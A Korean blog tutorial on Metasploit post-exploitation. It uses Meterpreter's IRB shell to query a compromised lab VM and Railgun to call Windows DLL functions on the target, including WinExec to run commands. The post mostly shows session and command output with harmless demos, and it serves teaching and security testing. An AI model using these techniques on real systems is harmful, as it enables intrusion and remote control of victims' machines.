Meterpreter Railgun! 공격하고 확장하자 🦹🏼

오늘은 Metasploit 의 강력한 쉘인 Meterpreter shell 중 Railgun과 IRB를 이용한 API 사용에 대한 내용을 준비했습니다.

쉬운 이해를 위해서 API Call 먼저보고 RailGun 순서로 진행됩니다. Meterpreter를 아주 강력하게 만들어주는 RailGun, 편리한 공격을 위한 IRB API에 대해 시작합니다. :)

Warm-up!

오늘도 meterpreter 테스트를 위해 가상머신 하나를 탈취합니다. (VM이라 동일 IP로 찍혀요)

hahwul exploit(handler) #>
[*] Sending stage (957999 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:51270) at 2016-07-18 23:12:21 +0900

hahwul exploit(handler) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:51270 (10.0.2.15)

hahwul exploit(handler) #> sessions -i 1
[*] Starting interaction with 1...

meterpreter >

IRB in Meterpreter

Meterpreter shell에선 ruby의 IRB를 사용할 수 있습니다. 이를 통해 동적으로 스크립팅이나 테스팅 등이 가능하며 metasploit 자체가 ruby로 짜여있기 때문에 관련된 함수들을 굉장히 편하게 쓸 수 있죠.

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>>

IRB 사용은 meterpreter 사용에서 아주 유연함을 주기 때문에 알아두면 좋습니다.

Sys API Call with IRB

먼저 meterpreter에서 열려있는 쉘의 시스템 정보는 이미 Object화 되어 저장되어 있습니다. IRB 상태에서 직접 접근할 수 있기 때문에 아래와 같이 client 를 참조하여 시스템 정보를 얻을 수 있습니다.

?> client
=> #<Session:meterpreter 192.168.0.8:51270 (10.0.2.15) "BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9">

client를 보면 연결에 대한 정보가 들어있음을 확인할 수 있죠.

이제 유용한 API를 하나하나 볼까요?

sysinfo

client.sys.config.sysinfo 에 있는 정보는 타겟 시스템에 대한 정보를 담고 있습니다.

>> client.sys.config.sysinfo
=> {"Computer"=>"BEGINNER-4CAED9", "OS"=>"Windows XP (Build 2600, Service Pack 3).", "Architecture"=>"x86", "System Language"=>"ko_KR", "Domain"=>"WORKGROUP", "Logged On Users"=>2}

Computer 이름부터 OS, Domain등등 여러가지 정보가 있네요. 각각의 정보는 Hash 형태로 저장되어 있어서 아래와 같이 각각 키 명을 호출하여 값을 불러올 수 있습니다.

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>> client.sys.config.sysinfo['Domain']
=> "WORKGROUP"
>>

getuid

sys.config 하단에 있는 getuid는 현재 client로 열린 쉘의 사용자를 가지고 있습니다. 권한이라고 보시면되죠. 이걸 이용해서 meterpreter shell로 접근 획득 후 admin 권한인지 확인하고, 없으면 local exploit 을 찾아서 자동으로 권한 탈취하는 meterpreter shell을 구성할 수도 있을 것 같네요.

>> client.sys.config.getuid
=> "BEGINNER-4CAED9\\Administrator"
>>

local exploit 관련 글은 아래 내용 참조해주세요.

https://www.hahwul.com/2016/02/26/metasploit-localexploitsuggester-local/

interfaces

마지막으로 ifconfig, ipconfig에 해당하는 net.config 하단의 interfaces 입니다. net 아래인 것 처럼 네트워크 정보를 담고 있으며 이 부분도 parsing 해서 사용 시 편리할 것 같습니다.

>> interface = client.net.config.interfaces
>> interface.each do |i|
?> puts i.pretty
>> end
Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rfacee
Hardware MAC : 08:00:27:14:c5:a9
MTU          : 1500
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1

Meterpreter RailGun

Meterpreter에선 Railgun 이란 기능을 제공하고 있습니다. RailGun은 Meterpreter shell이 침투한 Windows에서 동작할 때 사용할 수 있는 확장부분입니다. Target system에 존재하는 DLL과 그 내부의 함수, 코드등에 대해 실행할 수 있어 공격자로 하여금 좀 더 유연한 공격과 편리한 기능을 제공합니다.

Railgun은 meterpreter shell의 IRB에서 client.railgun 으로 호출하여 사용할 수 있습니다. POST Extploit Script를 작성하셔도 동일한 형태로 사용하실 수 있습니다.

다만 예쁜 help를 주는건 아니니 각 DLL 별 함수 종류 및 사용법을 위해서는 MSDN은 필수입니다.

Using USER32.DLL fucntion

아까 irb의 구조를 조금 보았기 때문에 아마도 이해에 도움되실겁니다 client 하단에 railgun이 따로 존재하며 위에서 말씀드렸듯이 railgun을 이용해서 system api 를 직접 호출할 수 있습니다.

일단 사용법을 보면 아래와 같습니다.

client.railgun.<dll library>.<function>(<function args>)

railgun 하단에 사용할 dll library가 들어가고 dll의 존재하는 함수명으로 호출이 간으합니다. 좀 더 쉬운 이해를 위해 아래 예제 코드를 볼까요?

client.railgun.user32.MessageBoxA(0,"HAHWUL","HAcked.!","MB_OK")

railgun으로 user32.dll에 접근 후 MessageBoxA 함수를 실행합니다. MessageBoxA 함수는 Win API 프로그래밍을 해보셨다면 많이 익숙할껍니다. 바로 메시지 창이죠.

int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);

위 값을 입력했을 때 Target PC에서 어떤일이 일어나는지 보죠.

user32.dll에 선언된 MessageBoxA 함수가 실행되어 제가 넣은 인자값으로 창이 뜨게 되었습니다. 사용 가능한 함수 리스트는 puts으로 찍어주면 쉽게 볼 수 있습니다.

puts client.railgun.user32
RuntimeError: DLL-function to_ary not found. Known functions: ["ActivateKeyboardLayout",
 "AdjustWindowRect",
 "AdjustWindowRectEx",
 "AllowSetForegroundWindow",
# ...

Using KERNEL32.DLL fucntion

자 그럼 하나 더 해볼까요? kernel32.dll에는 WinExec 라는 함수가 있습니다. 명령을 실행시켜주죠. (간단한 함수로 찾다보니 WinExec가 설명하기 좋겠더라구요)

함수형을 보면 아래와 같습니다.

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow
);

첫번째째인자값으로 명령, 두번째는 view 옵션이 들어갑니다. 이제 railgun으로 실행해볼까요?

client.railgun.kernel32.WinExec("calc",0)
=> {"GetLastError"=>0, "ErrorMessage"=>"\xC0\xDB\xBE\xF7\xC0\xBB \xBF\xCF\xB7\xE1\xC7\xDF\xBD\xC0\xB4\xCF\xB4\xD9.", "return"=>33}

계산기가 잘 뜨네요.

Conclusion

Railgun은 아주 좋은 Ruby Module 입니다. 탈취한 세션에서 작업을 하는 경우 기본 shell, meterpreter 로만은 불편한 부분이 있는데 이를 코드단에서 지원함으로써 공격자가 쉽게 확장하고 사용할 수 있어집니다. 그리고 ruby 자체로 코딩할 수 있으니 그 가능성은 무한하다고 봅니다.

Reference